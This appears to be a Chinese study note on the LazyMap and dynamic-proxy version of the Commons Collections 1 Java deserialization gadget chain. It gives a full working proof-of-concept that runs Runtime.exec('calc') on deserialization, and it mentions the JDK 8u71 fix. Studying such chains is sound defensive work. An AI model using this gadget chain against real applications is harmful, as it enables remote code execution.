cc链1再分析
cc链1有两个版本,后半条链基本相同,我们来看下另一个版本的前半条链的调用过程
调用链分析
调用链
用到了动态代理
AnnotationInvocationHandler(Proxy)-->
Proxy(AnnotationInvocationHandler).xxx
-->AnnotationInvocationHandler.invoke(LazyMap)
-->Lazymap.get(ChainedTransformer)
-->ChainedTransformer.transformer
LazyMap
调用transformer的方法那里,看LazyMap类
在get()方法中,调用了factory.tranformer(),看这个factory
protected final Transformer factory;
是个Transformer类对象,虽然是protected,但是可以通过decorate
方法进行获取类对象
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class },new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
HashMap<Object, Object> map = new HashMap<>();
map.put("value","value");
Map map1 = LazyMap.decorate(map, chainedTransformer);
map1.get(Override.class);
get方法中随便传一个类,进入if语句即可
继续往下走,看谁调用了get方法
AnnotationInvocationHandler
rt.jar.reflect.annotation.AnnotationInvocationHandler
在这个类中有5个地方调用了get()方法,我们着重分析invoke
方法内的调用
我们需要绕过这些if
和switch
,去调用get方法
而在readObect中,有一行代码是执行member.entrySet()
,这个参数是我们代理的AnnotationInvocationHandler类,外部调用该类方法,会去调用invoke方法
Proxy
Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor annotationinvocationhandlerConstructor = c.getDeclaredConstructor(Class.class, Map.class);
annotationinvocationhandlerConstructor.setAccessible(true);
//实例化
InvocationHandler h = (InvocationHandler)annotationinvocationhandlerConstructor.newInstance(Target.class,map1);
//动态代理
Map newProxyInstance = (Map) Proxy.newProxyInstance(LazyMap.class.getClassLoader(), new Class[]{Map.class}, h);
Object o = annotationinvocationhandlerConstructor.newInstance(Override.class, newProxyInstance);
serialize(o);
unserialize("ser.bin");
而最外部还是需要一个AnnotationInvocationHandler来作为序列化的起点,其readObject方法
注意:动态代理可以序列化
最后的代码
package cc1;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;
import java.io.*;
import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;
import java.util.HashMap;
import java.util.Map;
public class cc1 {
public static void serialize(Object obj)throws IOException {
ObjectOutputStream objectOutputStream = new ObjectOutputStream(new FileOutputStream("ser.bin"));
objectOutputStream.writeObject(obj);
}
//定义unserialize方法
public static Object unserialize(String Filename ) throws IOException,ClassNotFoundException{
ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream((Filename)));
Object obj = objectInputStream.readObject();
return obj;
}
//主函数
public static void main(String[] args) throws Exception{
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class },new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
HashMap<Object, Object> map = new HashMap<>();
map.put("value","value");
Map map1 = LazyMap.decorate(map, chainedTransformer);
//map1.get(Override.class);
Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor annotationinvocationhandlerConstructor = c.getDeclaredConstructor(Class.class, Map.class);
annotationinvocationhandlerConstructor.setAccessible(true);
//实例化
InvocationHandler h = (InvocationHandler)annotationinvocationhandlerConstructor.newInstance(Target.class,map1);
//动态代理
Map newProxyInstance = (Map) Proxy.newProxyInstance(LazyMap.class.getClassLoader(), new Class[]{Map.class}, h);
Object o = annotationinvocationhandlerConstructor.newInstance(Override.class, newProxyInstance);
serialize(o);
unserialize("ser.bin");
}
}
版本区别
1.8.071中将AnnotationInvocationHandler.readObject进行了修复,不再调用checkValue,所以cc1不能用了